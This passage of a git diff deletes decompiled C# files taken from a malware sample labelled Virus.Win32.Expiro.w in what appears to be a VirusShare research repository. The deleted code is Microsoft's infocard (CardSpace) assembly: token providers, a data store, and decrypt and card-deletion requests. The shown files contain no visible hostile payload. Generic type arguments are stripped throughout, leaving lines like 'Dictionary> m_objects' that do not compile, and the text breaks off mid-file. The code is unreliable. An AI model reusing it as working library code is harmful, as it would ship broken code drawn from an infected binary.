C:\Users\Administrateur\Downloads\Virusshare-00001-msil\Virus.Win32.Expiro.w-f8f9f26e940480624825f6bddbea86e70fc4aa746c4dd8efa7d98dcb477000ed.exe - -using Microsoft.InfoCards.Diagnostics; -using System; -using System.Collections.ObjectModel; -using System.IdentityModel.Policy; -using System.IdentityModel.Selectors; -using System.IdentityModel.Tokens; -using System.ServiceModel; -using System.ServiceModel.Security.Tokens; - -namespace Microsoft.InfoCards -{ - internal class CustomTokenProvider : SecurityTokenProvider, IDisposable - { - private InfoCardPolicy m_policy; - private InfoCard m_card; - private IssuedSecurityTokenParameters m_parameters; - private TokenDescriptor m_token; - private EndpointAddress m_target; - private SelfIssuedSamlTokenFactory m_tokenFactory; - private bool m_isSelfIssuedCreds; - private ProtocolProfile m_protocolProfile; - private SelfIssuedAuthProofToken m_proofToken; - - public CustomTokenProvider( - IssuedSecurityTokenParameters parameters, - InfoCard card, - EndpointAddress target, - bool isSelfIssuedCreds, - ProtocolProfile profile) - { - this.m_isSelfIssuedCreds = isSelfIssuedCreds; - this.m_card = card; - this.m_parameters = parameters; - this.m_target = target; - this.m_protocolProfile = profile; - this.ValidatePolicy(); - this.m_tokenFactory = new SelfIssuedSamlTokenFactory(); - } - - public void Dispose() - { - if (this.m_token != null) - { - this.m_token.Dispose(); - this.m_token = (TokenDescriptor) null; - } - if (this.m_proofToken == null) - return; - this.m_proofToken.Dispose(); - this.m_proofToken = (SelfIssuedAuthProofToken) null; - } - - private void ValidatePolicy() - { - try - { - this.m_policy = PolicyFactory.CreatePolicyForCustomTokenProvider(this.m_target, this.m_parameters, this.m_protocolProfile); - this.m_policy.SetRecipientInfo(this.m_policy.ImmediateTokenRecipient, (string) null, 0U); - if (this.m_isSelfIssuedCreds) - this.m_policy.ThrowIfNonPpidClaimsPresent(); - this.m_policy.Validate(); - } - catch (Exception ex) - { - if (!InfoCardTrace.IsFatal(ex)) - throw InfoCardTrace.ThrowHelperError((Exception) new TrustExchangeException(SR.GetString("FailedReadingIPSTSPolicy"), ex)); - throw; - } - } - - protected override SecurityToken GetTokenCore(TimeSpan timeout) - { - StoreConnection connection = StoreConnection.GetConnection(); - this.m_card.Connection = connection; - try - { - this.m_token = this.m_tokenFactory.CreateToken(this.m_card, (TokenFactoryCredential) null, this.m_policy, false); - this.m_proofToken = this.m_token.SymmetricProof != null ? new SelfIssuedAuthProofToken(new InMemorySymmetricSecurityKey(this.m_token.SymmetricProof.Key), this.m_token.ExpirationTime) : new SelfIssuedAuthProofToken(this.m_card.GetPrivateCryptography(this.m_policy.Recipient.GetIdentifier()), this.m_token.ExpirationTime); - return (SecurityToken) new GenericXmlSecurityToken(this.m_token.ProtectedToken, (SecurityToken) this.m_proofToken, this.m_token.EffectiveTime, this.m_token.ExpirationTime, (SecurityKeyIdentifierClause) new SamlAssertionKeyIdentifierClause(this.m_token.TokenId), (SecurityKeyIdentifierClause) null, (ReadOnlyCollection) null); - } - finally - { - connection.Close(); - this.m_card.Connection = (StoreConnection) null; - } - } - } -} diff --git a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-f8f9f26e940480624825f6bddbea86e70fc4aa746c4dd8efa7d98dcb477000ed/Microsoft/InfoCards/DataAccessException.cs b/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-f8f9f26e940480624825f6bddbea86e70fc4aa746c4dd8efa7d98dcb477000ed/Microsoft/InfoCards/DataAccessException.cs deleted file mode 100644 index 1a019244..00000000 --- a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-f8f9f26e940480624825f6bddbea86e70fc4aa746c4dd8efa7d98dcb477000ed/Microsoft/InfoCards/DataAccessException.cs +++ /dev/null @@ -1,36 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: Microsoft.InfoCards.DataAccessException -// Assembly: infocard, Version=3.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 -// MVID: 1D4D5564-A025-490C-AF1D-DF4FBB709D1F -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00001-msil\Virus.Win32.Expiro.w-f8f9f26e940480624825f6bddbea86e70fc4aa746c4dd8efa7d98dcb477000ed.exe - -using System; -using System.Runtime.Serialization; - -namespace Microsoft.InfoCards -{ - internal class DataAccessException : InfoCardBaseException - { - private const int HRESULT = -1073413887; - - public DataAccessException() - : base(-1073413887) - { - } - - public DataAccessException(string message) - : base(-1073413887, message) - { - } - - public DataAccessException(string message, Exception inner) - : base(-1073413887, message, inner) - { - } - - protected DataAccessException(SerializationInfo si, StreamingContext sc) - : base(-1073413887, si, sc) - { - } - } -} diff --git a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-f8f9f26e940480624825f6bddbea86e70fc4aa746c4dd8efa7d98dcb477000ed/Microsoft/InfoCards/DataBlob.cs b/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-f8f9f26e940480624825f6bddbea86e70fc4aa746c4dd8efa7d98dcb477000ed/Microsoft/InfoCards/DataBlob.cs deleted file mode 100644 index 3c09d303..00000000 --- a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-f8f9f26e940480624825f6bddbea86e70fc4aa746c4dd8efa7d98dcb477000ed/Microsoft/InfoCards/DataBlob.cs +++ /dev/null @@ -1,16 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: Microsoft.InfoCards.DataBlob -// Assembly: infocard, Version=3.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 -// MVID: 1D4D5564-A025-490C-AF1D-DF4FBB709D1F -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00001-msil\Virus.Win32.Expiro.w-f8f9f26e940480624825f6bddbea86e70fc4aa746c4dd8efa7d98dcb477000ed.exe - -using System; - -namespace Microsoft.InfoCards -{ - internal struct DataBlob - { - public int cbData; - public IntPtr pbData; - } -} diff --git a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-f8f9f26e940480624825f6bddbea86e70fc4aa746c4dd8efa7d98dcb477000ed/Microsoft/InfoCards/DataRow.cs b/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-f8f9f26e940480624825f6bddbea86e70fc4aa746c4dd8efa7d98dcb477000ed/Microsoft/InfoCards/DataRow.cs deleted file mode 100644 index 0753d900..00000000 --- a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-f8f9f26e940480624825f6bddbea86e70fc4aa746c4dd8efa7d98dcb477000ed/Microsoft/InfoCards/DataRow.cs +++ /dev/null @@ -1,116 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: Microsoft.InfoCards.DataRow -// Assembly: infocard, Version=3.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 -// MVID: 1D4D5564-A025-490C-AF1D-DF4FBB709D1F -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00001-msil\Virus.Win32.Expiro.w-f8f9f26e940480624825f6bddbea86e70fc4aa746c4dd8efa7d98dcb477000ed.exe - -using Microsoft.InfoCards.Diagnostics; - -namespace Microsoft.InfoCards -{ - internal class DataRow - { - private string m_instanceId; - private string m_sourceId; - private int m_localId; - private int m_objectType; - private long m_lastChange; - private int m_objectSize; - private GlobalId m_globalId; - private byte[] m_buffer; - private DataRowIndexBuffer m_indexBuffer; - - public DataRow() - : this((string) null, (string) null) - { - } - - private DataRow(string instanceId, string sourceId) - { - this.m_instanceId = instanceId; - this.m_sourceId = sourceId; - this.m_indexBuffer = new DataRowIndexBuffer(); - } - - public GlobalId GlobalId - { - get => this.m_globalId; - set - { - this.m_globalId = !(GlobalId.Empty == value) ? value : throw InfoCardTrace.ThrowHelperArgumentNull(nameof (value)); - this.SetIndexValue("ix_globalid", (object) value); - } - } - - public string InstanceId - { - get => this.m_instanceId; - internal set => this.m_instanceId = value; - } - - public string SourceId - { - get => this.m_sourceId; - internal set => this.m_sourceId = value; - } - - public long LastChange - { - get => this.m_lastChange; - internal set => this.m_lastChange = value; - } - - public int LocalId - { - get => this.m_localId; - internal set => this.m_localId = value; - } - - public int ObjectType - { - get => this.m_objectType; - set - { - this.m_objectType = value; - this.SetIndexValue("ix_objecttype", (object) value); - } - } - - internal DataRowIndexBuffer IndexBuffer => this.m_indexBuffer; - - public void SetDataField(byte[] buffer) => this.SetDataField(buffer, buffer.Length); - - public void SetDataField(byte[] buffer, int size) - { - this.m_buffer = buffer; - this.m_objectSize = size; - } - - public byte[] GetDataField() => this.m_buffer; - - public void SetMultiIndexValue(string name, params object[][] multiValues) - { - IndexObject[] indexObjects = new IndexObject[multiValues.Length]; - for (int index = 0; index < multiValues.Length; ++index) - indexObjects[index] = new IndexObject(multiValues[index]); - this.m_indexBuffer.SetIndexValues(name, indexObjects); - } - - public void SetIndexValue(string name, params object[] values) - { - object[][] objArray = new object[values.Length][]; - for (int index = 0; index < objArray.Length; ++index) - objArray[index] = new object[1]{ values[index] }; - this.SetMultiIndexValue(name, objArray); - } - - internal static unsafe DataRow Create(EncryptedObjectHeader* pHeader, DataSource source) => new DataRow(source.InstanceId, source.SourceId) - { - LastChange = pHeader->LastChange, - ObjectType = pHeader->ObjectType, - LocalId = pHeader->LocalId, - GlobalId = pHeader->GlobalId, - m_objectSize = pHeader->DataSize - }; - } -} diff --git a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-f8f9f26e940480624825f6bddbea86e70fc4aa746c4dd8efa7d98dcb477000ed/Microsoft/InfoCards/DataRowIndexBuffer.cs b/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-f8f9f26e940480624825f6bddbea86e70fc4aa746c4dd8efa7d98dcb477000ed/Microsoft/InfoCards/DataRowIndexBuffer.cs deleted file mode 100644 index 4cddfae8..00000000 --- a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-f8f9f26e940480624825f6bddbea86e70fc4aa746c4dd8efa7d98dcb477000ed/Microsoft/InfoCards/DataRowIndexBuffer.cs +++ /dev/null @@ -1,45 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: Microsoft.InfoCards.DataRowIndexBuffer -// Assembly: infocard, Version=3.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 -// MVID: 1D4D5564-A025-490C-AF1D-DF4FBB709D1F -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00001-msil\Virus.Win32.Expiro.w-f8f9f26e940480624825f6bddbea86e70fc4aa746c4dd8efa7d98dcb477000ed.exe - -using System.Collections.Generic; - -namespace Microsoft.InfoCards -{ - internal class DataRowIndexBuffer - { - private Dictionary> m_objects; - - public DataRowIndexBuffer() => this.m_objects = new Dictionary>(); - - public string[] GetIndexNames() => new List((IEnumerable) this.m_objects.Keys).ToArray(); - - public List this[string name] - { - get - { - if (!this.m_objects.ContainsKey(name)) - this.m_objects.Add(name, new List()); - return this.m_objects[name]; - } - } - - public void Clear() => this.m_objects.Clear(); - - public void ClearIndexValues(string name) => this.m_objects.Remove(name); - - public void AddIndexValue(string name, IndexObject obj) => this[name].Add(obj); - - public void AddIndexValues(string name, IndexObject[] objs) => this[name].AddRange((IEnumerable) objs); - - public void SetIndexValues(string name, IndexObject[] indexObjects) - { - this[name].Clear(); - this[name].AddRange((IEnumerable) indexObjects); - } - - public int GetValueCount(string name) => !this.m_objects.ContainsKey(name) ? 0 : this.m_objects[name].Count; - } -} diff --git a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-f8f9f26e940480624825f6bddbea86e70fc4aa746c4dd8efa7d98dcb477000ed/Microsoft/InfoCards/DataSource.cs b/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-f8f9f26e940480624825f6bddbea86e70fc4aa746c4dd8efa7d98dcb477000ed/Microsoft/InfoCards/DataSource.cs deleted file mode 100644 index 18b088b5..00000000 --- a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-f8f9f26e940480624825f6bddbea86e70fc4aa746c4dd8efa7d98dcb477000ed/Microsoft/InfoCards/DataSource.cs +++ /dev/null @@ -1,328 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: Microsoft.InfoCards.DataSource -// Assembly: infocard, Version=3.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 -// MVID: 1D4D5564-A025-490C-AF1D-DF4FBB709D1F -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00001-msil\Virus.Win32.Expiro.w-f8f9f26e940480624825f6bddbea86e70fc4aa746c4dd8efa7d98dcb477000ed.exe - -using Microsoft.InfoCards.Diagnostics; -using System; -using System.Collections.Generic; -using System.Globalization; -using System.Threading; - -namespace Microsoft.InfoCards -{ - internal abstract class DataSource : IDisposable - { - private string m_instanceId; - private bool m_isLoaded; - private ReaderWriterLock m_lock; - private bool m_isDisposed; - private string m_sourceId; - private bool m_isCleared; - - protected DataSource(string instanceId, string sourceId) - { - this.m_instanceId = instanceId; - this.m_sourceId = sourceId; - this.m_lock = new ReaderWriterLock(); - } - - public string SourceId - { - get - { - this.ThrowIfDisposed(); - return this.m_sourceId; - } - } - - public bool IsDisposed => this.m_isDisposed; - - public bool IsLoaded - { - get - { - this.ThrowIfDisposed(); - return this.m_isLoaded; - } - } - - public bool IsCleared - { - get => this.m_isCleared; - set => this.m_isCleared = value; - } - - protected internal string InstanceId - { - get - { - this.ThrowIfDisposed(); - return this.m_instanceId; - } - set - { - this.ThrowIfDisposed(); - this.m_instanceId = value; - } - } - - public bool IsProcessingTransaction() - { - this.ThrowIfDisposed(); - this.ThrowIfNotLoaded(); - return this.m_lock.IsWriterLockHeld; - } - - public void BeginTransaction() - { - this.ThrowIfWriteLockHeld(); - this.ThrowIfDisposed(); - this.ThrowIfNotLoaded(); - this.m_lock.AcquireWriterLock(0); - this.OnBeginTransaction(); - } - - public void CommitTransaction() - { - this.ThrowIfDisposed(); - this.ThrowIfNotLoaded(); - this.ThrowIfWriteLockNotHeld(); - this.OnCommitTransaction(); - this.m_lock.ReleaseWriterLock(); - } - - public void RollbackTransaction() - { - this.ThrowIfDisposed(); - this.ThrowIfNotLoaded(); - this.ThrowIfWriteLockNotHeld(); - this.OnRollbackTransaction(); - this.m_lock.ReleaseWriterLock(); - } - - public void Load() - { - this.ThrowIfDisposed(); - this.OnLoad(); - this.m_isLoaded = true; - } - - public void Clear() - { - this.ThrowIfLoaded(); - this.ThrowIfDisposed(); - this.OnClear(); - this.m_isLoaded = false; - this.m_isCleared = true; - } - - public void Close() - { - if (!this.m_isLoaded) - return; - this.OnClose(); - this.m_isLoaded = false; - } - - public DataRow GetSingleRow(params QueryParameter[] objectQuery) => this.GetSingleRow(QueryDetails.FullRow, objectQuery); - - public DataRow GetSingleRow(QueryDetails details, params QueryParameter[] objectQuery) - { - IList dataRowList = this.Query(details, objectQuery); - if (dataRowList == null || dataRowList.Count == 0) - return (DataRow) null; - return dataRowList.Count <= 1 ? dataRowList[0] : throw InfoCardTrace.ThrowHelperError((Exception) new InvalidOperationException(SR.GetString("StoreMoreThanOneRowReturnedInSingleMatchQuery"))); - } - - public IList Query(params QueryParameter[] objectQuery) => this.Query(QueryDetails.FullRow, objectQuery); - - public IList Query( - QueryDetails details, - params QueryParameter[] objectQuery) - { - this.ThrowIfDisposed(); - this.ThrowIfNotLoaded(); - if (objectQuery == null || objectQuery.Length == 0) - throw InfoCardTrace.ThrowHelperArgumentNull("query"); - if (!this.IsValidQueryDetails(details)) - throw InfoCardTrace.ThrowHelperError((Exception) new ArgumentException(nameof (details))); - if (details == QueryDetails.None) - return (IList) null; - LocalIdCollection localIdCollection1 = (LocalIdCollection) null; - bool flag = false; - try - { - try - { - } - finally - { - this.m_lock.AcquireReaderLock(0); - flag = true; - } - foreach (QueryParameter match in objectQuery) - { - LocalIdCollection localIdCollection2 = new LocalIdCollection(); - if ("localid" == match.IndexName.ToLower(CultureInfo.InvariantCulture)) - { - for (int index1 = 0; index1 < match.Count; ++index1) - { - for (int index2 = 0; index2 < match[index1].ObjectList.Length; ++index2) - { - int int32 = Convert.ToInt32(match[index1].ObjectList[index2], (IFormatProvider) NumberFormatInfo.InvariantInfo); - localIdCollection2.Add(int32); - } - } - } - else if (!this.SingleMatch(match, localIdCollection2)) - { - if (localIdCollection1 != null) - { - localIdCollection1.Clear(); - break; - } - break; - } - if (localIdCollection1 == null) - localIdCollection1 = localIdCollection2; - else - localIdCollection1.Filter(localIdCollection2); - } - } - finally - { - if (flag) - this.m_lock.ReleaseReaderLock(); - } - if (localIdCollection1 == null || localIdCollection1.Count == 0) - return (IList) null; - List dataRowList = new List(localIdCollection1.Count); - foreach (int key in (IEnumerable) localIdCollection1.Keys) - { - if (QueryDetails.Identifiers == details) - dataRowList.Add(new DataRow() - { - LocalId = key, - SourceId = this.SourceId, - InstanceId = this.InstanceId - }); - else - dataRowList.Add(this.ReadRow(key, details)); - } - return (IList) dataRowList; - } - - public void Save(DataRow row) - { - this.ThrowIfDisposed(); - this.ThrowIfNotLoaded(); - this.ThrowIfWriteLockNotHeld(); - if (row == null) - throw InfoCardTrace.ThrowHelperArgumentNull(nameof (row)); - if ((!string.IsNullOrEmpty(row.InstanceId) || !string.IsNullOrEmpty(row.SourceId)) && (string.Compare(row.InstanceId, this.InstanceId, StringComparison.Ordinal) != 0 || string.Compare(row.SourceId, this.SourceId, StringComparison.Ordinal) != 0)) - throw InfoCardTrace.ThrowHelperError((Exception) new InvalidOperationException(SR.GetString("StoreRowOwnedByOtherDataSource"))); - row.LastChange = DateTime.Now.ToFileTimeUtc(); - this.WriteRow(row); - row.InstanceId = this.InstanceId; - row.SourceId = this.SourceId; - } - - public void Delete(DataRow row) - { - this.ThrowIfDisposed(); - this.ThrowIfNotLoaded(); - this.ThrowIfWriteLockNotHeld(); - if (row == null) - throw InfoCardTrace.ThrowHelperArgumentNull(nameof (row)); - if (row.InstanceId == null || row.SourceId == null) - throw InfoCardTrace.ThrowHelperError((Exception) new InvalidOperationException(SR.GetString("StoreDataSourceRowNotOwned"))); - if (string.Compare(row.InstanceId, this.InstanceId, StringComparison.Ordinal) != 0 || string.Compare(row.SourceId, this.SourceId, StringComparison.Ordinal) != 0) - throw InfoCardTrace.ThrowHelperError((Exception) new InvalidOperationException(SR.GetString("StoreRowOwnedByOtherDataSource"))); - this.RemoveObject(row.LocalId); - } - - protected internal virtual bool IsValidQueryDetails(QueryDetails details) - { - if (QueryDetails.IndexData == (details & QueryDetails.IndexData)) - return QueryDetails.FullRowAndIndexes == (details & QueryDetails.FullRowAndIndexes); - if (QueryDetails.DataBlob == (details & QueryDetails.DataBlob)) - return QueryDetails.FullRow == (details & QueryDetails.FullRow); - if (QueryDetails.Header == (details & QueryDetails.Header)) - return QueryDetails.FullHeader == (details & QueryDetails.FullHeader); - return QueryDetails.Identifiers == (details & QueryDetails.Identifiers) ? QueryDetails.Identifiers == (details & QueryDetails.Identifiers) : QueryDetails.None == details; - } - - protected internal virtual void OnBeginTransaction() => this.ThrowIfDisposed(); - - protected internal virtual void OnCommitTransaction() => this.ThrowIfDisposed(); - - protected internal virtual void OnRollbackTransaction() => this.ThrowIfDisposed(); - - protected internal virtual void OnLoad() => this.ThrowIfDisposed(); - - protected internal virtual void OnClose() => this.ThrowIfDisposed(); - - protected internal virtual void OnClear() => this.ThrowIfDisposed(); - - protected internal virtual void OnDispose() - { - } - - protected internal abstract void WriteRow(DataRow row); - - protected internal abstract void RemoveObject(int id); - - protected internal abstract DataRow ReadRow(int localId, QueryDetails details); - - protected internal abstract bool SingleMatch(QueryParameter match, LocalIdCollection localIds); - - void IDisposable.Dispose() - { - this.OnDispose(); - this.m_isDisposed = true; - } - - protected internal void ThrowIfWriteLockNotHeld() - { - if (!this.m_lock.IsWriterLockHeld) - throw InfoCardTrace.ThrowHelperError((Exception) new InvalidOperationException(SR.GetString("StoreDataSourceWriteLockNotHeld"))); - } - - protected internal void ThrowIfWriteLockHeld() - { - if (this.m_lock.IsWriterLockHeld) - throw InfoCardTrace.ThrowHelperError((Exception) new InvalidOperationException(SR.GetString("StoreProcessingTransaction"))); - } - - protected internal void ThrowIfNotLoaded() - { - if (!this.m_isLoaded) - throw InfoCardTrace.ThrowHelperError((Exception) new ObjectDisposedException(nameof (DataSource))); - } - - protected internal void ThrowIfLoaded() - { - if (this.m_isLoaded) - throw InfoCardTrace.ThrowHelperError((Exception) new InvalidOperationException(SR.GetString("StoreIsAlreadyLoaded"))); - } - - protected internal void ThrowIfDisposed() - { - if (this.m_isDisposed) - throw InfoCardTrace.ThrowHelperError((Exception) new ObjectDisposedException(nameof (DataSource))); - } - - public static QueryParameter CreateDeleteStoreTypeQuery() - { - QueryParameter deleteStoreTypeQuery = new QueryParameter("ix_objecttype"); - foreach (int num in Enum.GetValues(typeof (StorableObjectType))) - { - if (num != 0) - deleteStoreTypeQuery.AddMatch((object) num); - } - return deleteStoreTypeQuery; - } - } -} diff --git a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-f8f9f26e940480624825f6bddbea86e70fc4aa746c4dd8efa7d98dcb477000ed/Microsoft/InfoCards/DecryptRequest.cs b/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-f8f9f26e940480624825f6bddbea86e70fc4aa746c4dd8efa7d98dcb477000ed/Microsoft/InfoCards/DecryptRequest.cs deleted file mode 100644 index 1f70aaab..00000000 --- a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-f8f9f26e940480624825f6bddbea86e70fc4aa746c4dd8efa7d98dcb477000ed/Microsoft/InfoCards/DecryptRequest.cs +++ /dev/null @@ -1,61 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: Microsoft.InfoCards.DecryptRequest -// Assembly: infocard, Version=3.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 -// MVID: 1D4D5564-A025-490C-AF1D-DF4FBB709D1F -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00001-msil\Virus.Win32.Expiro.w-f8f9f26e940480624825f6bddbea86e70fc4aa746c4dd8efa7d98dcb477000ed.exe - -using Microsoft.InfoCards.Diagnostics; -using System; -using System.Diagnostics; -using System.IO; -using System.Security.Principal; - -namespace Microsoft.InfoCards -{ - internal class DecryptRequest : ClientRequest - { - private int m_cryptoSession; - private bool m_useOAEP; - private byte[] m_encrypted; - private byte[] m_decrypted; - - public DecryptRequest( - Process callingProcess, - WindowsIdentity callingIdentity, - IntPtr rpcHandle, - Stream inArgs, - Stream outArgs) - : base(callingProcess, callingIdentity, rpcHandle, inArgs, outArgs) - { - this.m_cryptoSession = 0; - this.m_useOAEP = false; - this.m_encrypted = (byte[]) null; - this.m_decrypted = (byte[]) null; - } - - protected override void OnMarshalInArgs() - { - BinaryReader binaryReader = (BinaryReader) new InfoCardBinaryReader(this.InArgs); - this.m_cryptoSession = binaryReader.ReadInt32(); - this.m_useOAEP = binaryReader.ReadBoolean(); - int count = binaryReader.ReadInt32(); - this.m_encrypted = binaryReader.ReadBytes(count); - InfoCardTrace.ThrowInvalidArgumentConditional(0 == this.m_cryptoSession, "cryptoSession"); - InfoCardTrace.ThrowInvalidArgumentConditional(this.m_encrypted == null || 0 == this.m_encrypted.Length, "encrypted"); - } - - protected override void OnProcess() => this.m_decrypted = ((AsymmetricCryptoSession) CryptoSession.Find(this.m_cryptoSession, this.CallerPid, this.RequestorIdentity.User)).Decrypt(this.m_useOAEP, this.m_encrypted); - - protected override void OnMarshalOutArgs() - { - try - { - Utility.SerializeBytes(new BinaryWriter(this.OutArgs), this.m_decrypted); - } - finally - { - Array.Clear((Array) this.m_decrypted, 0, this.m_decrypted.Length); - } - } - } -} diff --git a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-f8f9f26e940480624825f6bddbea86e70fc4aa746c4dd8efa7d98dcb477000ed/Microsoft/InfoCards/DeleteCardRequest.cs b/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-f8f9f26e940480624825f6bddbea86e70fc4aa746c4dd8efa7d98dcb477000ed/Microsoft/InfoCards/DeleteCardRequest.cs deleted file mode 100644 index c0a1821f..00000000 --- a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-f8f9f26e940480624825f6bddbea86e70fc4aa746c4dd8efa7d98dcb477000ed/Microsoft/InfoCards/DeleteCardRequest.cs +++ /dev/null @@ -1,91 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: Microsoft.InfoCards.DeleteCardRequest -// Assembly: infocard, Version=3.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 -// MVID: 1D4D5564-A025-490C-AF1D-DF4FBB709D1F -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00001-msil\Virus.Win32.Expiro.w-f8f9f26e940480624825f6bddbea86e70fc4aa746c4dd8efa7d98dcb477000ed.exe - -using System; -using System.Collections; -using System.Collections.Generic; -using System.IO; -using System.Text; - -namespace Microsoft.InfoCards -{ - internal class DeleteCardRequest : UIAgentRequest - { - private Uri m_cardId; - - public DeleteCardRequest( - IntPtr rpcHandle, - Stream inArgs, - Stream outArgs, - ClientUIRequest parent) - : base(rpcHandle, inArgs, outArgs, parent) - { - } - - protected override void OnInitializeAsSystem() => base.OnInitializeAsSystem(); - - protected override void OnMarshalInArgs() => this.m_cardId = Utility.DeserializeUri((BinaryReader) new InfoCardBinaryReader(this.InArgs, Encoding.Unicode)); - - protected override void OnProcess() - { - StoreConnection connection = StoreConnection.GetConnection(); - try - { - connection.BeginTransaction(); - try - { - DataRow singleRow = connection.GetSingleRow(QueryDetails.FullRow, new QueryParameter("ix_globalid", new object[1] - { - (object) GlobalId.DeriveFrom(this.m_cardId.ToString()) - })); - if (singleRow != null) - { - byte[] dataField = singleRow.GetDataField(); - try - { - using (MemoryStream memoryStream = new MemoryStream(dataField)) - { - string name = new InfoCard((Stream) memoryStream).Name; - } - } - finally - { - connection.Delete(singleRow); - Array.Clear((Array) dataField, 0, dataField.Length); - } - } - ICollection collection = (ICollection) connection.Query(QueryDetails.Identifiers, new List() - { - new QueryParameter("ix_parentid", new object[1] - { - (object) GlobalId.DeriveFrom(this.m_cardId.ToString()) - }) - }.ToArray()); - if (collection != null && collection.Count > 0) - { - foreach (DataRow row in (IEnumerable) collection) - connection.Delete(row); - } - connection.CommitTransaction(); - AuditLog.AuditCardDeletion(); - } - catch - { - connection.RollbackTransaction(); - throw; - } - } - finally - { - connection.Close(); - } - } - - protected override void OnMarshalOutArgs() - { - } - } -} diff --git a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-f8f9f26e940480624825f6bddbea86e70fc4aa746c4dd8efa7d98dcb477000ed/Microsoft/InfoCards/DeleteStoreRequest.cs b/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-f8f9f26e940480624825f6bddbea86e70fc4aa746c4dd8efa7d98dcb477000ed/Microsoft/InfoCards/DeleteStoreRequest.cs deleted file mode 100644 index 7d96f8f3..00000000 --- a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-f8f9f26e940480624825f6bddbea86e70fc4aa746c4dd8efa7d98dcb477000ed/Microsoft/InfoCards/DeleteStoreRequest.cs +++ /dev/null @@ -1,62 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: Microsoft.InfoCards.DeleteStoreRequest -// Assembly: infocard, Version=3.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 -// MVID: 1D4D5564-A025-490C-AF1D-DF4FBB709D1F -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00001-msil\Virus.Win32.Expiro.w-f8f9f26e940480624825f6bddbea86e70fc4aa746c4dd8efa7d98dcb477000ed.exe - -using System; -using System.Collections; -using System.IO; - -namespace Microsoft.InfoCards -{ - internal class DeleteStoreRequest : UIAgentRequest - { - public DeleteStoreRequest( - IntPtr rpcHandle, - Stream inArgs, - Stream outArgs, - ClientUIRequest parentRequest) - : base(rpcHandle, inArgs, outArgs, parentRequest) - { - } - - protected override void OnMarshalInArgs() - { - } - - protected override void OnProcess() - { - StoreConnection connection = StoreConnection.GetConnection(); - try - { - connection.BeginTransaction(); - try - { - QueryParameter deleteStoreTypeQuery = DataSource.CreateDeleteStoreTypeQuery(); - ICollection collection = (ICollection) connection.Query(QueryDetails.Identifiers, connection.LocalDataSource, deleteStoreTypeQuery); - if (collection != null && collection.Count > 0) - { - foreach (DataRow row in (IEnumerable) collection) - connection.Delete(row); - } - connection.CommitTransaction(); - AuditLog.AuditStoreDeletion(); - } - catch - { - connection.RollbackTransaction(); - throw; - } - } - finally - { - connection.Close(); - } - } - - protected override void OnMarshalOutArgs() - { - } - } -} diff --git a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-f8f9f26e940480624825f6bddbea86e70fc4aa746c4dd8efa7d98dcb477000ed/Microsoft/InfoCards/DisplayClaim.cs b/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-f8f9f26e940480624825f6bddbea86e70fc4aa746c4dd8efa7d98dcb477000ed/Microsoft/InfoCards/DisplayClaim.cs deleted file mode 100644 index 9e47f9c6..00000000 --- a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-f8f9f26e940480624825f6bddbea86e70fc4aa746c4dd8efa7d98dcb477000ed/Microsoft/InfoCards/DisplayClaim.cs +++ /dev/null @@ -1,57 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: Microsoft.InfoCards.DisplayClaim -// Assembly: infocard, Version=3.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 -// MVID: 1D4D5564-A025-490C-AF1D-DF4FBB709D1F -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00001-msil\Virus.Win32.Expiro.w-f8f9f26e940480624825f6bddbea86e70fc4aa746c4dd8efa7d98dcb477000ed.exe - -using System.Collections.Generic; -using System.IO; - -namespace Microsoft.InfoCards -{ - internal class DisplayClaim - { - private string m_name; - private List m_value; - private string m_description; - private string m_uri; - - public string Name - { - get => this.m_name; - set => this.m_name = value; - } - - public string Id => this.m_uri; - - public 